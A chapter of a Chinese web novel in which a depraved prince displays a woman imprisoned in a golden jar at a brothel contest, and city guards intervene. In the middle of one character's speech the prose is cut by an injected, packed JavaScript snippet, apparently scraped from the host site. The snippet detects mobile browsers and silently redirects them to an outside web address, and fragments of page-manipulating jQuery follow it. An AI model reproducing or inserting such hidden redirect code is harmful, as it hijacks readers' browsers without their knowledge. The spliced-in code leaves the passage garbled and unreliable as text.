37. 地狱幽灵

作品:《钩吻

    萧三郎一步三晃地走下楼梯,声音还是那么夸张聒噪,“天地神佛,老鸨子的亲亲世子爷,你是怎么想的。彩戏,彩戏,不过是个彩头、做个游戏罢了,莫不是你当真了?三岁小儿也不至于啊。大家看得很开心,你砸了人家万花楼的场面,坏了彩戏班子的营生,这不是给大伙儿添堵么。”


    原本台下众人心里正想,果然是假的,居然是假的,可蒙面女一番恭维,萧三郎一番说辞,倒让他们心里赞成。可不是么,变戏法自然都是假的,我们自然早就知道,不过就是寻个开心。于是大家纷纷攘攘地指责其成王府霸道来。


    陈如意身后的狗腿子见主人吃瘪,虽不敢跟萧三郎叫板,可毕竟还要替主子发声。


    “萧三公子,您可是被他们骗了十两银子,是我们世子爷心明眼亮,戳破他们的骗局,给您省银子了,您怎么还帮着这群骗子说话呢。”


    萧晨哼了一声,斜眼看那狗腿子,“本公子缺这十两银子么,本公子乐意赏,来人,再赏十两,不,赏五十两。本公子就乐意看着瓶中仙子唱曲儿演戏,本公子开心你管得着吗。”


    “被人骗了还沾沾自喜的蠢货。”陈如意指着萧晨骂道。


    萧晨尚未说话,蒙面女子已经抢先一步,她扶起跪在地上的瓶中仙子道:“怎么是骗呢?大家都知道是障眼法,不过就是看我们演个乐子;总不会这世上还真能有装在瓶子中的人。”


    萧晨啧了一声,“可不是么,人人都知道是戏法,人人都知道不可能把人装在瓶子里,就世子觉得是真的。哎呀,也不知道是谁蠢货。”


    众人闹哄哄地跟着道:“还真是世子爷天真,把戏法当真了。”


    众人哈哈一笑,陈如意更加气恼,蒙面女子身上有种特别的味道,似乎和他往日喜欢的小柳身上的梨香类似,昔日他闻见这股味道就觉得舒适,可一旦心浮气躁,再闻见这味道,就更加浮躁。


    此刻只觉得萧晨脸上的笑容分外刺目,大厅里嘲讽他的人声音格外刺耳,仿佛有一把重锤在他脑子里敲,他忍无可忍,“谁说人不能装在瓶子里。”


    蒙面女忽闪着修长的睫毛,“世子爷您说笑了,人,怎么可能装在瓶子里。”


    “不可能……做不到……”众人附议。


    陈如意只觉得心口一股抑郁之气到了不得不喷发的时候,大吼一声:“都给我闭嘴,谁说做不到。”


    大厅里忽地安静下来。


    片刻,萧三郎嗤笑一声,“开什么玩笑。你能把人塞瓶子里去?我没见过。”


    蒙面女一副别跟他一般见识的意思,表面是劝,实则在拱火。“原本是我们不好,把戏演砸了,对不住各位爷,也对不住东家万花楼。若世子爷不开心,我们给您赔礼了。”


    她携着瓶中仙子,又拉上彩戏班班主,三人一起在台上赔罪,“世子爷莫要再说了,再说下去,大家更觉得您……都是我们的错,我们这就离开京城,您莫要当真气坏了身子。”


    陈如意气得一脚踢飞倒在台上的长条桌,也不管台下人的惊呼声,大声叫道:“来人,立刻回府,把本世子收藏的瓶中歌女给我搬来,给这些没见识的蠢东西瞧瞧,什么是真货。”


    彩戏班的瓶中仙子亮相时,大家心中有惊异、有好奇,可无人觉得恐惧。直到成王府的侍卫将一个二尺高的金瓶放在台上时,众人才从心底生出寒意。一贯活色生香、热闹无比的万花楼瞬间变得鬼气森森。


    台底下传来压抑低沉的惊呼声,有人几乎呕吐,有人掩目不忍直视。被拽进雅阁刚刚跳了一支西域舞的栀夏姑娘抖得如同风中枯败的残叶,趁着陈如意洋洋自得扫视全场时,从后面偷偷跑了。


    成王府的客卿忽也觉得不妥,可陈如意如此喜怒无常,又正在得意的兴头上,竟无人敢上前阻拦一句,几条狗腿子往后缩了缩,互相看了眼取得共识,趁着大家不注意竟也都溜了,就只留下一个犹不知大祸临头的陈如意狂妄地登上高台。


    “你们这些没见识的蠢货,谁说大活人不能装进瓶子里,今日就给你们开开眼界,这是本世子养在府中的宝贝玩意,看她是不是活生生的。”他伸手在那金瓶上拍了一下,“喂,小东西,唱支曲来给她们听听。”


    瓶中的朝云面如枯槁,脸皮是灰色的,却被涂了浓浓的淡金和殷红的胭脂,枯黄的发丝已经脱落了大半,硬是系了个与她的头不相称的巨大的假髻,插了满头珠翠压在她小小的头上,她闭着眼,没有一丝半点回应,仿佛死了一般。


    陈如意从地上捡起一根碎掉的桌子腿,一下一下敲击金瓶:“别睡了,醒一醒,别装死,快唱几句给他们开开眼。”


    萧晨拧着眉头,眯眼看台上那个跟他斗了数年的残忍的疯子;被摔得鼻青脸肿的老鸨子揪着胸口的衣襟呼吸急促;素来是对头的栀夏和金玉竟然紧紧抱在一起,躲在老鸨身后,露出半张吓得煞白的脸。


    沈夜挑开雅阁的垂帷,冷淡地扫过满面赤红、似癫似狂的陈如意,又将目光落在角落里的晏清宁身上。


    她脸上的轻纱簌簌而动,若目光可以杀人,台上的疯子已被凌迟碎剐。沈夜悄然走到老鸨身后,低声说:“今日看来不好收场了,我看还是叫官家的人镇一镇为好。”


    老鸨抹了下额角的冷汗,也压低声音,苦笑道:“沈郎君,奴家可惹不起成王府。”


    “所以才要把这个麻烦推出去,若瓶中女死在万花楼的台上,万花楼以后也别想办这花魁大会了。”沈夜漫不经心地往楼上角落里一个常年紧闭不开的房间扫了一眼,“去问问你们老板,看他怎么说。”


    老鸨面如土色地看了眼那扇紧闭的门,对沈夜挤出来个假笑,目光咕噜咕噜转了几圈,见无人关注她,悄悄地上了二楼。


    沈夜盯着她胖嘟嘟的身子消失在那道门后,这才对栀夏道:“我瞧你还是避开吧,若被他看到你,还不知又起意要做什么。”


    栀夏仿佛被针扎了一下,惊慌如小兔子一般跳了起来,她对沈夜行礼,然后嗖地跑没影了。金玉尚未反应过来,沈夜对她微微一笑,“替我传一句话给她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983236|190851||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”他看了眼站在对面角落,跟戏班子的人混在一起的蒙面女子。


    金玉的心脏怦怦乱跳,晏清宁前几日求她出面,让老鸨子请了这外地来的彩戏班子给花魁大会暖场,又不是什么大事,她没多想就欣然答应了。不曾想今日闹出这种场面。


    蒙面女子身形声音分明就是晏清宁,小晏为什么要去变戏法,这瓶中女的戏码莫非是专为成王世子准备的。


    “传什么话?”她声音干涩地问。


    “就说莫要急,再等等。”


    金玉知道沈夜和晏清宁交情匪浅,但不知道这句话是什么意思,晏清宁要急着做什么,又有谁会对谁出手,此刻,她脑子里一团糨糊。见她惊疑不定,沈夜低声道:“别怕。不会连累你。”


    金玉认真看了他两眼,又看了眼台上那个变态,咬了下牙,“沈郎君,奴家不是怕,就算是我们,也知好歹,分善恶。沈郎君,小晏会不会有危险?”


    沈夜微微一笑,“做事总要担些风险,我也问过她,难道不怕?”


    金玉蹙眉问,“她说什么?”


    “她说,有些事,怕,也要做。”


    金玉一瞬间有些恍惚,怔忡片刻微微点头,悄没声地提着裙子小跑向晏清宁。


    ~


    五城兵马司的人来得极快,实则今日万花楼办花魁大会,他们就在街口驻扎巡逻。此刻一拥而入,为首的正是周北安。


    他进了万花楼,目光凛冽地扫了眼四周,先看了下疯疯癫癫地在台上跳脚的陈如意,又看到面沉如水、难得不声不语的萧三郎,最后目光与站在角落的沈夜一碰。


    沈夜木着脸,看不出什么表情,周北安对他略一颔首,大步走向陈如意。


    “小东西,跟我装死是吗?”


    瓶中的朝云越是不出声,陈如意这颗心就越是烦躁,手中的桌子腿点在朝云头上,“好,跟我犟,我就敲碎这瓶子,让大家看看你光溜溜的样子,哈哈哈……”他狂笑起来,挥起桌子腿就往金瓶上砸去。


    周北安一步跃上前,握住他的手腕,“世子,你失态了。”


    陈如意觉得一只铁手死死捏住手腕,痛入骨髓,痛楚让他惊醒了三分,有些迷乱地看了眼四周。


    陪在他身边胡闹的也不是往日的客卿狗腿子,台下数十人看着他,那些人脸上都带着厌恶,他有些恍惚,原来这里不是成王府。


    他茫然地盯着周北安,“周兄,你怎么来了?”


    周北安冷着脸,这可不是寒暄兄弟情的场面,“来人,请世子回司衙,将这瓶子带回去。”


    成王府的侍从终于找到主心骨,急忙往台上跑。人群中忽然有蒙面女子叫了一句,“瓶中歌女,你真不会唱歌吗?”


    从被人放在台上,金瓶中的歌女纹丝不动,任凭陈如意如何羞辱殴击,仿佛是个死人。可晏清宁轻轻一句话,瓶中女忽然睁开眼。她的目光浑浊而又冰冷,仅有的一点幽光在万花楼辉煌的灯烛照射下渐渐凝聚在一起,像是来自地狱的幽灵孤魂活了过来。